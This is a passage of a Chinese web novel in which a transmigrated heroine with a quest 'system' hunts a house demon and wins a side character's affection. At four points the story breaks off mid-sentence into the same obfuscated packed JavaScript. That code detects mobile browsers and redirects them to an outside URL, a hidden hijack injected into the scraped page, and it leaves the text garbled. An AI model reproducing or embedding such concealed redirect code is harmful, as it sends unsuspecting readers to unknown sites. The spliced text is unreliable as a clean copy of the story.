少年的眼神里毫不掩饰的探究,看着她的时候,身后高高的马尾逆着光,看起来格外引人注目。 周春和把瓜子往他那边伸了伸,用口型问:“要不你也来点?” 谢斯年似乎笑了笑,但眼神却带着探究,很快把头转开了。 周春和撇了撇嘴,继续磕自己的瓜子。 大家对傅怀玉的身份还是有些疑惑,周夏莲谨慎道:“村长说这里闹鬼,可刚刚我们进来时,用符咒试了试,并没有妖物的气息。公子进来的时候,可曾发现什么不对劲之处?” 傅怀玉思索两秒,很快摇摇头:“并没有……”又迟疑了一瞬间,“只是……” “只是什么?” 傅怀玉温和一笑:“只是我进来时,见这房子的壁影实在奇怪,竟是八爪火螭和裂天兕,这两个皆是上古凶兽,是不祥之兆,寻常人家不会将它们画在壁影之上……” 周夏莲闻言一怔,双眼微微睁大:“什么?八爪火螭和裂天兕……?” 周春和正边发呆边听他们互换线索,这时候,系统的声音忽然又在她脑子里响起来:“男配确认完毕,任务二正式开始,请宿主用心完成任务哦~” 周春和在心里翻了个白眼,问系统:“对了系统哥,我问你个问题。” 系统欢快地说:“问吧。” “假如说……假如哈,如果我在完成这三个任务之前不小心死了一下会怎么样?” 系统道:“宿主,如果在完成任务前死亡的话则会视为任务失败。不过不用担心,在您遇到危险的时候,系统会及时给予您保护。” 周春和在心里叹了口气,好吧,她还以为自己能有金刚不坏之躯呢,这样到时候就可以狠狠装他一把,谁知道也是一个脆皮。 不过话又说回来,这个系统也太狗了。不完成任务会死,完成任务的途中还有可能会死,这噶掉的概率岂不是很大? 系统见周春和沉默,还以为她被吓着了,贴心的安慰道:“放心吧,我们系统可是很强大的,是整个小说世界里无敌的存在,有我在你身边,宿主你肯定会平平安安的。” 就听见周春和严肃的说:“……其实我刚刚在想一个问题。” 系统茫然地问:“……什么问题?” 周春和若有所思的说:“所以也就是说,如果我不做任务的话,最后的结局就是死亡。但我做任务的途中也有很大概率导致死亡,消除同类项的话,那么做任务等于不做任务,嘿嘿,所以做任务就是不做任务,那……” 话还没说完,系统那边忽然响起一阵噼里啪啦的声音。周春和被吓了一跳,以为自己的护身符出什么故障了,慌忙问:“系统?系统!你怎么了?!” 两秒后,系统平稳的声音才又响了起来:“没什么,刚刚生闷气去了。” 周春和:“?” 系统:“气死我了,这么有梗的话我居然不能独立思考出来。” 周春和:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576610|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等周春和心里有数之后,主角团那边也已经商量差不多了。 他们都觉得壁影很有问题,一致打算过去看看。 周春和紧紧跟着周夏莲,因为跟得太紧还不小心踩了周夏莲一脚,周夏莲回头冲她温和一笑,把周春和都看呆了。 傅怀玉也跟着他们一起去了,聊天之中,大家才知道傅怀玉竟然也是一个猎妖人。 来到壁影前面,才发现上面的图案又变了,这次变成了一双微微张开的巨大眼睛。 这双眼睛实在是诡异,盯着看两秒就会觉得浑身都不舒服。周春和这种怕鬼的根本不敢靠近,可周夏莲已经贴紧壁影观察是否有什么不对劲的地方了,谢斯年一直贴在她身边保护她。站在最外面的只有裴瑾和傅怀玉。 周春和犹豫两秒,默默的站在了傅怀玉后面。 傅怀玉似乎感觉到了周春和窝囊的恐惧,转头朝她温和一笑:“姑娘若是害怕,可以站在我身侧。” 周春和差点喜极而泣,恐惧之下自然也是毫不客气,一下就窜到了傅怀玉身边。 傅怀玉笑眯眯地问:“可否问一问姑娘芳名?” 周春和知道他这是在帮自己转移注意力,忍不住更加感动:“我叫周春和,你叫我春和就行。公子,你说你叫傅怀玉,是哪个怀哪个玉?” 她当然知道是哪个怀哪个玉,只不过恐惧之下实在是想不出别的话题,只好顺着问下去。 其实她自己说了什么自己都有点断片。 傅怀玉道:“怀瑾握瑜的怀,碧玉的玉。姑娘的……” 周春和已经是条件反射了:“是的是的,出自岳阳楼记……‘至若春和景明’的‘春和’……” 傅怀玉忍俊不禁:“在下是想说,姑娘的名字十分好听,寓意也是好的,念起来朗朗上口……” 周春和处在一种微醺状态,人都有些懵。 好在那边周夏莲已经检查完了壁影:“这房子确实有问题……” 她拿出另一张符咒,将符咒点燃之后,这符咒竟如发疯般抖动起来。 周夏莲脸色一变,和裴瑾对视一眼,脸色都不太好:“竟是寓煞!” 周春和在恐惧中灵敏的捕捉到了这四个字,探出脑袋问:“何为寓煞?” 裴瑾解释道:“煞乃是死物所化,死物长久在灵力充沛处,会渐渐生出灵性。若是在天地精华处化为煞,那么则对人无害。可若是在至阴至邪之地所化,那么就会激出凶性,以活物为食……这整座房子长久的滋养在此处,渐渐生出了灵性。房屋所化成的煞,是为寓煞,一旦踏入房间,那么就着了它的道。怪不得刚刚用纸符测不出精怪来,精怪乃活物所化,与这煞不同,自然测不出来。” 周春和咽了口唾沫,书中第一个邪恶boss终于出现了:“这么说,现在咱们已经落入了寓煞手中?” 裴瑾点点头,不过随后就安抚道:“没关系,寓煞一般会有一个关键之处,是为阵眼,只要我们找到阵眼,再将阵眼破坏掉,那么寓煞不攻自破。” 周春和若有所思的点点头。 这时候,周夏莲有些扭曲的声音忽然响起:“这壁影……这壁影不对劲!” 5. 与君初相识 周春和被吓了一大跳,下意识回头看去,这壁影上面的画面竟不知何时消失了。 周夏莲问道:“这壁影有古怪,难不成这就是阵眼所在?” 裴瑾沉吟道:“不是没有这个可能。不过寓煞一般会将阵眼藏得极深,应该不会如此轻易叫人找到。走吧,咱们再去别处看看。若实在是没有别的线索,再过来瞧瞧这壁影。如何?” 周夏莲思索两秒,觉得裴瑾说的确实有理,便点点头:“也好。” 她转头叫谢斯年:“斯年。” 谢斯年眼睛一亮,立刻来到了周夏莲身边,乖巧道:“姐姐?” 一边的周春和在心里翻了个大大的白眼:装,接着装。 周夏莲温和一笑:“为节约时间,咱们还是兵分两路,你与春和妹妹一道,如何呢?” 谢斯年皱了下眉,不过再抬眼时已经恢复了乖巧的模样:“姐姐,我想同你一起,不如让裴公子和周小姐一起去,你与我一起?这样我就能时时刻刻保护姐姐了,心里也放心些。” 周春和听着两人的对话,心里毫无波澜——按照她为数不多的记忆,这一part最后和周夏莲一起走的应该是傅怀玉。 两个人途中遇见了危险,于是携手共进,顺利离开了困境。 也就是从这时候起,傅怀玉才对周夏莲关注起来,随着剧情的推进,逐渐喜欢上了这个自立自强的姑娘。也就是说这一部分是两人感情升温的第一步,谢斯年估计也没想到防住了裴瑾结果又来了一个傅怀玉。 但是周春和还没笑话完谢斯年,脑子里的系统“叮”的一声:“随机任务一已发布,请宿主主动要求和傅怀玉一起组队。” 正无所事事专注吃瓜的周春和:“?” 这对吗? 系统笑嘻嘻的说:“宿主,这个任务是为了帮助你刷傅怀玉的好感度,你一定要抓住机会呀!” 周春和:“……倒也不必。” 不过就算是周春和再不情愿,任务终归还是要做的。 那边的周夏莲和谢斯年正为分队的事情争执,眼见要吵起来,周春和认命走过去,插在两人之间露出一个强装出来的开心的笑:“哎呀你们别吵了。要不这样吧,你们三个一起走,我和傅公子一起,好不好?” 大家一愣,傅怀玉看着周春和,也忍不住微微一怔。 周夏莲立刻拒绝:“这怎么能行?你们孤身二人……不如我同你们一起去,这样我也放心些。” 毕竟他们刚通傅怀玉认识,虽然现在知道傅怀玉并不是心地邪恶之人,但了解不深自然也不会放心。 更何况,周夏莲知道自己这妹妹于捉妖之术上并不是十分有天资,放她一人离开,实在是不太放心。 可抵不住周春和连忙摆手拒绝:“别别别,姐姐你就好好的和裴哥哥谢斯年一起去,虽然傅公子一直没有出手,但我相信傅公子肯定不是等闲之辈……我有通信符,一旦情况不对,我便立刻和你们通信,好不好嘛姐姐?” 周夏莲向来受不住妹妹的撒娇,犹豫了很久,想着如今还是白天,而且没有契机寓煞应该不会发难,这才迟疑着点了头:“遇到危险一定要第一时间通信。” 说着,她取下身上的荷包递给周春和:“荷包里有十几张符咒,到时候打不赢就跑,万万不可恋战。” 周春和一口一个甜甜的知道了,迫切的推搡着三个人去了另一个方向。 谢斯年不知怎么的,明明如愿了,但脸色依然不太好。尤其是看向周春和的时候,那脸上的表情难掩阴沉。周春和心道,估计是自己搅和了他和周夏莲的独处,所以又惹这个心机弟弟生气了。毕竟谢斯年希望单独和周夏莲在一起,现在却不得不变成了三人行,他还得时不时亲眼见证两个人的甜蜜瞬间…… 不过周春和一心扑在任务上,也就没再想太多。 等他们三人走后,周春和立刻问系统:“怎么样怎么样,任务算是完成了吗?” 系统道:“还没呢,要等你们走完这一道,和主角团他们汇合才算完成。” 周春和:“……鸡贼,实在是鸡贼。” 她打起精神朝傅怀玉露出一个大大的笑脸,先给他打了个预防针:“傅公子,实不相瞒其实我稍微有点没天赋,到时候遇到危险的话……” 傅怀玉还以为她要说遇到危险的话就不要管她了自己一个人先走之类的话,毕竟按照常理来说,一些自持有身份的猎妖人都不会轻易向人低头。 谁知少女下一句话就让他忍俊不禁:“遇到危险的话一定不要忘记旁边还有一个我啊,要是你们真打起来了,也别忘记旁边的我手无缚鸡之力,千万不要殃及池鱼……走的时候别忘了夹带着我一起走……” 她絮絮叨叨的说,言语间全是暗示——明示他别随意把人抛下。 等有些不放心的嘱咐完毕,周春和才迟疑着说:“那咱们走吧?” 傅怀玉笑着点点头:“好。” 他心里想,这姑娘也太不设防了些。 他们刚刚认识不到半个时辰,她竟然敢离开自己最信任的哥哥姐姐同自己这样一个陌生人独自去找线索。 更何况在现在这个时候,这座宅子危机四伏,她在不了解自己能力的情况下,竟然也敢只身前往。 说她胆大吧,刚刚只一个壁影便能将人吓成这样。可如若说她胆小,她又敢这样毫无防备的出来。 傅怀玉从未遇到过这样一个不设防又天真的小姑娘。 当然了,如果他知道其实周春和之所以敢这么信任他,完全是因为她之前看过剧情,所以知道傅怀玉并不是坏人,那肯定就不会生出刚刚的那种想法了。更何况现在周春和有系统这个护身符,自然不会太过于恐惧。 两个人沿着和周夏莲他们相反的方向走,路上周春和闲的无聊,便又打开了话匣子:“傅公子,你家在何处啊?” 傅怀玉道:“家在姑苏,离这里有千里之远。” 周春和还真不知道傅怀玉家住这么远。书中对有关配角的很多细节都写得不是很清楚,就算是描写到傅怀玉和谢斯年,也只是集中于他们和女主的互动,像家在哪里,家中有什么都不会写的很清楚。 周春和好奇道:“傅公子为什么要离家这么远来到此处呢?” 傅怀玉笑道:“我是为了寻找一枚名叫‘补天石’的东西,所以才一路找到此处。” 周春和疑道:“补天石?” 好熟悉,似乎还是个挺关键的东西? 傅怀玉温和的解释道:“据说是女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576611|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娲娘娘补天时所遗留下来的一块石头。可以医白骨,养血肉。使死人复活,活人延寿。” 周春和问:“这补天石听着无比珍贵,定然十分难得。不知傅公子要这样一个东西做什么?” 傅怀玉道:“家中祖母身子不好,我想找来此物替祖母免去病痛。” 周春和点了点头。书中好像偶然提到过一嘴,说是傅怀玉从小大部分时候是被祖母带大,与祖母感情十分要好。现在看来,这傅怀玉果真是重情重义之人。 两个人顺着小路一路来到后院,傅怀玉燃了两张符,不曾发现什么异常。 院子里面有一个放杂物的小屋,两个人毫不设防的推门进去,才知道着了这寓煞的道。 ——屋内设了一个捉猎物时用的陷阱,就是那种十分原始的,用铲子挖出来的巨大土坑,上面放了很多掩饰用的物件,如果不注意观察,肉眼根本看不出有什么异常。 两人一前一后推门进去,谁都都没留意,一下子就双双摔进了陷阱中。 只是在倒下去的一瞬间,周春和感觉到有人揽住自己掉了个位置,等摔到土坑里面时,周春和才反应过来原来是傅怀玉压在了自己下面,承受了大部分重量。 土堆树叶扑扑簌簌地落下来,弄得两个人灰头土脸。 周春和没反应过来,傻傻的盯着傅怀玉,趴在傅怀玉身上一直没有动弹。 她和傅怀玉身体紧贴着身体,能清晰地感觉到从傅怀玉身上传来的热量。 也就是这时候,周春和才闻到从傅怀玉身上传来的,那股淡淡的香味。 香说不出来到底是什么香,但闻着怪舒服的,周春和闻了一会儿,脑子一抽,忽然趴到傅怀玉脖颈处,在香味的源头处仔细闻了闻。 感觉到怀中少女的动作,傅怀玉的双眼猝然睁大。 他清晰的感觉到了少女的发丝扫过自己的脸颊,趴在自己耳畔时,还能感觉到呼出的温热气息喷洒在自己的脖颈。 对这一切毫无知觉的少女撑着他的身子爬起来,还不知道发什么了什么,有些天真的问:“好香,你身上用的这是什么香,怎么这么特别?” 傅怀玉听见自己勉力控制的平稳声音:“是自己做出来的香料罢了,若是姑娘喜欢,我帮姑娘做一些便是。” 周春和是真心动了,这香料如此特殊,一闻就让人着迷,要是放在她生活的世界里,某个牌子能定价几万往外卖。如果傅怀玉愿意免费给她做,那真是再好不过了。 两个人坐直了身体,周春和抬头望了望,这土坑大概有五六米高,也不知道怎么挖出来的,四壁光滑,单凭人力往上爬绝对爬不上去。 她叹了口气,心说这寓煞也太奸诈了,怪不得刚刚傅怀玉用了两个符都没看出来有什么不对,谁能想到它竟然用最原始的办法来做陷阱? 这下可怎么办是好?没想到最简单的方法反而困他们最深。 周春和唉声叹气半天,忽然想到了什么,拿出周夏莲给她的荷包,从里面拿出通信符。 对了,不是还有这个嘛! 只要给周夏莲他们传信,这样不就有人来救了? 周春和兴致勃勃地点燃了符纸,正待寻求外援,可谁知出人意料的情况出现了——符纸竟然自己灭了。 6. 与君初相识 符纸灭了,要么说明这符纸有错误,起不了作用,要么就是另一头没人能收到通信。 前一种情况不可能,周夏莲乃是极有天资的猎妖人,不可能有这么粗心的时候,除非她有心加害。但看过小说的周春和知道这更是不可能。 难不成他们那边遇到了什么危险,根本没办法收到通信? 周春和用手敲了敲自己的脑袋——死脑子快点想啊,原著剧情到底是怎么写的? 哦对!周春和灵光一现,原著写的是女主和傅怀玉走了那条路线,路上遇见了一个大阵,被阵困在中央,一时挣脱不得。 最后女主和傅怀玉齐心协力才一起冲破了大阵。 现在裴瑾和谢斯年代替了傅怀玉的位置,那也就是说他们三人遇到的就是大阵,而原本该是他们三个人遇见的这个草率陷阱被周春和和傅怀玉遇上了。 这么说来,通信符不起作用就说得通了。 据小说描写,那大阵既没办法从内向外传递消息,也没办法从外向内传递,想要使用通信符,必须得突破妖阵才行。所以周夏莲和傅怀玉也没办法寻求外援,不得不独自解决。 周春和叹了口气,估摸了一下时间,他们大概还得再在这里呆上半个时辰才行。 果不其然还是男主更靠谱一点啊,小说里描写男主三人一行十分顺利,根本没有遇见过什么陷阱。 现在男主不在,又把病娇弟弟换成了傅怀玉,谁知道两个人就都没发现异常,这才齐齐掉进了陷阱里面。 不过由此周春和也发现了一件事,那就是这么看来这剧情的自由度还挺高,她不仅可以在细微之处改变剧情,而且甚至可以在比较重要的节点改变剧情。 ——系统给她的支线任务,让她代替女主和傅怀玉一起组队这件事就是一个证明。 这是不是就是说,在不崩坏小说世界大前提的情况下,只要完成三个主线任务,那不管她怎么作死作妖都不会对结局有什么影响? 而且这个小说世界比周春和想象中的还要完整,不仅能逻辑自洽,而且很有人物都有自己的完整设定,只不过作为读者的时候,她并没有注意到。 ——甚至有些连作者也没有想到,可是这个世界里面全部都有。 周春和不禁沉思道,她之前看小说只把小说里面的角色当成一个平面化的形象,但是等真的偶然穿到了书中,才知道原来一个她可能看书的时候根本不会注意到的小角色都会有独属于自己的故事。 周春和当然不能直接和傅怀玉说了周夏莲遇阵的事情,她思索两秒,转换了一下语言,把这件事当作自己的猜测和傅怀玉说了。又让傅怀玉不必太过于担心:“我阿姐十分厉害,又有裴哥哥和谢斯年在一边,定然不会出什么大问题。咱们只消等上一会儿,等我阿姐他们脱离困境就可以来救咱们了。” 傅怀玉笑着点了点头。 这姑娘倒是可爱,明明自己不是胆大的人,现在倒还反过来安慰别人。 这洞八尺见方,容纳两个人便已经满满当当。周春和和傅怀玉面对面坐着,目光避无可避,难免会落在对方身上。 好在周春和完全不觉得尴尬,甚至还能津津有味的欣赏傅怀玉的容貌。 先前她只草草一看,并没有看仔细傅怀玉的脸。现在有了机会,她自然不会放过。 刚刚从上方狼狈坠下,可是傅怀玉的脸庞依然还是干净的,甚至连头发都不曾凌乱。 他穿了一身淡青色衣裳,领口有竹叶的纹路,倒是和人极其相配。傅怀玉头上竖着冠,头发也是浅色的,铺开在身后散下来,一双眼睛的颜色极淡,看着人的时候,眉目含情,端的是世间无二,举手投足间便让人觉得如沐春风。 怀玉怀玉,真是人如其名,像是世间最漂亮的一块美玉。 这样的人,就该一辈子活在神坛之上,不该与蝼蚁草屑为伍。 周春和又想到了谢斯年,忍不住感叹两个人果真是天差地别。 一个鲜衣怒马少年郎,一个温润如玉贵公子。 一黑一白,一个马尾高扬,一个浅发披肩……啧,女主怎么忍心放弃这两个去选男主的? 傅怀玉察觉到周春和的目光,忍不住轻轻笑了:“姑娘在看什么?” 音色竟是如此温柔……声音也好听,只是寻常说话,却能让人觉得像是用了十足的耐心在哄人一样……周春和云游天外,下意识地脱口而出:“公子貌若潘安,真是让人见了便移不开眼。” 傅怀玉像是被周春和的话逗笑了,唇角微微上扬,垂下眼睫,浅声道:“只是寻常样貌而已,姑娘抬爱了。” 傅怀玉轻轻抬手,碰了碰自己的头发。周春和顺着傅怀玉的动作看向了他的头发,这才注意到傅怀玉的头发像是绸缎一般光滑漂亮,周春和想起自己穿书之前那干枯毛躁且稀少的头发,半是羡慕半是嫉妒的问:“傅公子,你这头发平时是如何保养的啊?看着真是漂亮。” “这个么?我寻常喜欢种一些奇花异草,有些花草便有养发的功效,平常的时候偶尔服用丸药或掺在头油里面,便可顺带着养养头发了。” 说起这个,周春和又想起之前他说香囊的事情,忍不住问道:“那你做香囊也是用的自己种的奇花异草么?” 傅怀玉点点头,看着周春和温和道:“姑娘果然聪明。” 周春和摸了摸鼻子,心说这也能夸。 她又问:“那你也要用你的那些花草为我制香么?可是你家离此处千百里,你如何才能帮我制作香囊?” 傅怀玉轻拢衣袖,便从里面拿出一个乾坤袋:“来之前我已将所有花草移到这个乾坤袋里。姑娘不必担心。” 乾坤袋乃是一个宝物,里面可以容纳大千世界,又能长久的让放入其中的物品保持原状。傅怀玉将乾坤袋用作自己的“后花园”种东西,那自然不愁地方不够。 周春和眼睛一亮,一下子就凑到傅怀玉身边:“真的么?那真是太好了!谢谢傅公子。” 傅怀玉的一双眸子微微垂下,修长的指尖轻碰红唇,又抬眼看向周春和,笑道:“姑娘太客气了。” 周春和搬出说给谢斯年的那套说辞,主动和傅怀玉道:“我与公子商量个事情,如何?” “姑娘请说。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576612|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你看,你与我也算是相识了,要不然以后别一口一个姑娘的叫我了,显得咱们多么生疏啊。不如你就叫我的名字吧。我叫周春和,你若是觉得这样也生疏呢,便叫我‘春和’就好,怎么样?我就叫你‘怀玉’。” 傅怀玉一怔,抬头看向周春和,随即轻轻笑起来,眼波荡漾,像是化开了一池春水,看的周春和都呆住了:“好啊。” 被傅怀玉美貌迷住的周春和半晌才回过神,她心道,这个人比那个顽劣的谢斯年好多了嘛,人又温柔,说话也斯斯文文轻轻柔柔的,这才是女主值得托付终生的人啊。 接下来闲来无事,周春和便缠着傅怀玉给她看了乾坤袋里面种的东西。那袋子里面的花草果真不少,且各个都是名贵异常。 傅怀玉一个个介绍过去,听的周春和嘴巴大张,半天都合不上去。 傅怀玉边说边忍不住看着女孩的表情,只见女孩一会瞪眼一会张嘴,表情无比丰富,且丝毫不造作掩饰,想到什么便说什么,觉得震惊便睁大眼睛,觉得可怕就紧紧皱起眉头,觉得好玩就抚掌大笑。一时觉得十分新鲜。 说了一会儿,也还只说了十分之一不到。傅怀玉怕周春和觉得无聊,便停住没再多说。 周春和却暗暗心惊,看来傅怀玉是真心实意喜欢这些东西的,有的花草极难以寻得,可傅怀玉却能花费数十年的时间一点点跋山涉水的找全它们,显然不止是把这些东西看作了寻常物件。 两个人聊完了乾坤袋中的东西,周春和又让傅怀玉再三保证会给她做香囊之后,这才不再揪着那些花草不放。 周夏莲那边还没有消息传来,周春和百无聊赖的玩了一会儿自己的头发,又征得傅怀玉的同意拢了拢他的头发。 啧啧啧,周春和连连感叹,他的头发确实柔顺,以手指做梳子,一下就能从头梳到尾,连一点打结的地方都没有。 周春和喜欢给小孩编头发的爱好此刻又不合时宜的浮现上来,她笑眯眯地说:“等出去之后有时间了,我就帮你编头发,怎么样?” 傅怀玉一怔。 周春和还以为他是不相信自己,连忙拍拍胸脯说:“你放心吧,我虽然看着不靠谱,但是还挺会编头发的。不怕你笑话,之前我家里那些小辈的头发都是我帮他们编的……” 傅怀玉又笑了,温声道:“好。” 周春和呆了呆,一时挪不开眼睛。 这傅怀玉简直像是红颜祸水,离他这么近,周春和都有些把持不住自己了。 一直保持着一个姿势坐在这里,周春和很快就感觉到自己的腿发麻。她道:“怀玉,你总是一个姿势坐在这,不会觉得不舒服么?你把腿都放在我左边,我要换个位置。” 傅怀玉听见少女口中自然的“怀玉”二字,心神一动,几乎是还没反应过来这句话的意思,就已经下意识顺着她的话做了。 周春和挪动了一会儿,有些别扭的换了个姿势,这才觉得舒服很多。 她露出一个灿烂的笑,正要接着说话,就听见脑内“叮”的一声,紧接着系统的声音响了起来:“恭喜宿主,男配傅怀玉的好感度加十。” 7. 与君初相识 周春和:“……?” 她有点茫然——她干什么了?就换了个位置,怎么好感度就加十了? 周春和琢磨了一会,琢磨不出个所以然来,也就不管了。 她开心的想,看来这个傅怀玉就是比谢斯年好攻略一点嘛,她都还没正儿八经的出手呢,傅怀玉就被拿下了……嗯,拿下了百分之十。 不过有了一个良好的开头,接下来的路终究是会好走一点。 周春和正要再接再厉,谁知道这时候,周夏莲的声音就在耳畔响起:“春和,你还好吗?刚刚我们被困在了阵中,听不到你的通信。现在我们刚刚出来……你那边是出了什么事么?” 声音里是掩饰不住的焦急。 周春和眼睛立刻一亮,太好了,救兵终于来了。她将自己的情况和周夏莲说了说,又按照自己的记忆把现在的位置告诉周夏莲:“阿姐,你不必太过担心,我们只是掉在坑里了,没什么大问题。你们慢慢过来就行。” 听见周春和的声音依旧生龙活虎,的确不像是出事了的样子,周夏莲提着的心这才放松下来:“好,我们马上过去。你莫要害怕。” 周春和乖巧的“嗯”了一声,这才切断了通讯符。 她朝傅怀玉展颜一笑:“好啦,咱们只消等着我姐姐过来就行了。” 傅怀玉眼角低垂,嘴边溢出一丝笑,声音却很轻:“……嗯。” 虽然周春和和周夏莲说了不必太着急,但周夏莲担心周春和害怕,还是快马加鞭赶了过来。 三个人靠着屋内的木板和绳子将人救了出来。 周春和先顺着木板爬出来,傅怀玉在下面轻轻托着她,周春和上去之后,低头朝他灿烂一笑:“该你啦,傅怀玉。” 说着把绳子扔了下去。 傅怀玉从下往上看着她,看见了少女一双熠熠生辉的眼睛。 “恭喜宿主,傅怀玉的高感度加五。宿主,现在傅怀玉的好感度已经到十五了,宿主一定要再接再厉哦。” 周春和还没来得及开心,系统的声音再次响起来:“恭悲宿主,谢斯年的好感度降低百分之五,现在谢斯年的总好感度为百分之八。” 周春和一喜又一悲,只觉得二丈摸不着头脑——傅怀玉对她好感度升高就算了,谢斯年这死兔崽子为什么会对她好感度降低? 他爷爷的,周春和明明什么也没做吧?难道还是因为刚刚的事情怨恨她?那这谢斯年实在是有些小气鬼了。 周春和转头看向谢斯年,却见对方没什么表情的移开了视线。 周春和:“?” 这对吗? 不过眼下也没有太多时间浪费在这件事上,几个人把傅怀玉拉上来之后,就开始继续过剧情了。 裴瑾道:“我们已经将整个房子看遍了,但除了那壁影之外,似乎真的没有其他可疑的地方,不如就先回到壁影那里再去仔细瞧瞧吧。” 众人点了头,于是大家就一起原路返回到壁影旁边。 该说不说这系统效率挺高,几人刚到壁影前面,周春和就听见系统及时提示道:“恭喜宿主贺喜宿主,随机任务一已经完成。” “……”周春和奇道,“系统,几分钟不见,你身上怎么一股子太监味道?” 系统羞涩一笑:“刚刚看了一本太监是男主的书,嘿嘿,宿主宿主你看过吗?就是叫‘甜蜜蜜雪月风花’的那本,最近可火了。” 周春和一心两用,随口道:“什么香香甜甜蜜如瓜?没听说过,行了有事再联系,我要过剧情了。” 系统:“……” 这壁影的图案又有了新的变化,不过这时大家也已经习惯了,没有太过于惊讶。 周夏莲再次靠近壁影,这次她没用符纸,而是自己伸出手碰了碰壁影。谁知手指在触到壁影的一瞬间,壁影表面如同水面般产生阵阵涟漪,下一刻,让所有人意想不到的景象发生了——周夏莲的手指竟然从壁影表面传了进去! 这巨大的壁影便如同一道虚幻的大门,只要有东西触碰,就能穿过虚影去往另一个世界。 谢斯年抓住了周夏莲的手腕,警惕道:“姐姐小心!” 裴瑾也立刻站在了周夏莲身边,周夏莲抽出自己的手,仔细看了看指尖,上面并不曾留下什么痕迹。 看来要知道这壁影之内是什么,需得亲自进去瞧瞧。 裴瑾思索两秒,拿出一张符纸想要扔进去探探情况,谁知道他的指尖一碰到虚影,立刻就被一股不知名的大力拽了进去。 虚影顷刻间便吞没了裴瑾,周夏莲大惊失色,几乎是下意识的就要跟着裴瑾一起进去。但却在最后一刻被身后的谢斯年拉住了:“姐姐!里面情况不明,贸然进去很有可能会招致灾祸!” 周夏莲转过头,少见的有些疾言厉色:“裴瑾只身一人进去,我不放心他。说不定这里面就是阵眼,你在外面安心等着,保护好春和,莫要乱跑,我尽快出来。” 说着就要再次冲进去,但谢斯年牢牢抓住她不放:“姐姐!这壁影有古怪,一定不是阵眼。既然裴瑾已经进去,何不放任他在这里,我们去找阵眼……” 这话说的十分不客气,周夏莲听完果然大怒:“谢斯年!莫要再说这种话,你年纪轻,有些事情不懂我不怪你,可如果你再敢拦我,别怪我从此与你划清界限!” 谢斯年眼底闪过一丝阴翳,还想再说什么。可周夏莲根本分不出心思听他说话,执意要进去。 谢斯年拦不住周夏莲,在周夏莲进去之后,也要随着她一起进去。 没想到手腕却被人牢牢握住了。 他眼底滔天地怒意还没来得及散去,一转头就看见了少女清凌凌的眼睛:“阿姐和裴哥哥两人足够对付这壁影,你再跟进去也是无用,不如赶紧找到阵眼,也好早点解救阿姐于水火。” 这一段剧情倒是和原著对上了。原著里便是这么写的,女主和男主二人被卷进壁影之中,一开始所有人都以为这是阵眼,但其实根本不是。 阵眼是被谢斯年找到的,其实很早之前谢斯年就隐约猜到阵眼是什么了——谢斯年虽然脾性有些扭曲,但是人却是异常聪明,有些事情一点就通,能在细微之处发觉不对。 这也就是为什么刚刚他如此笃定的和周夏莲说这壁影不是阵眼。 可这少年几乎可以说是一个没有感情的怪物,除了周夏莲之外,他对其他的事情毫不关心,时时做隔岸观火之态。要不是如今女主陷入危险,他也不会将此事说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576613|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来。 少年听见周春和的话,像是被一捧凉水兜头泼了下来,立刻冷静了很多。 他看着周春和,语气平静,却又不容置喙:“你跟我去找阵眼。” 周春和:“……?” 原著里不是谢斯年自己去找的么?怎么现在还要带上她? 难道是她刚刚没忍住多此一举提醒了谢斯年一下,所以带偏了剧情? 周春和表面扶额苦笑,心里一万匹草泥马飞腾而过。 死嘴,以后再敢多说话就扇你。 她等了两秒,系统也没出声,看样子就是放任不管了。罢了罢了,现在周夏莲不在,这死病娇又情绪不稳,周春和生怕再激怒他殃及到自己,所以只得顺着他答应跟着一起去。 周春和在心里安慰自己,就当是被狗咬了一口,等过了这一关一定要狠狠给他使绊子,让他在追女主的路上更加坎坷。 她跟着谢斯年往外走了两步,想起这里还有个人,于是又回过头,对还站在壁影旁边一动不动的傅怀玉道:“傅怀玉,你就在此地,不要走动,我们去找找阵眼,事成之后立刻回来。你留在这里接应阿姐他们。” 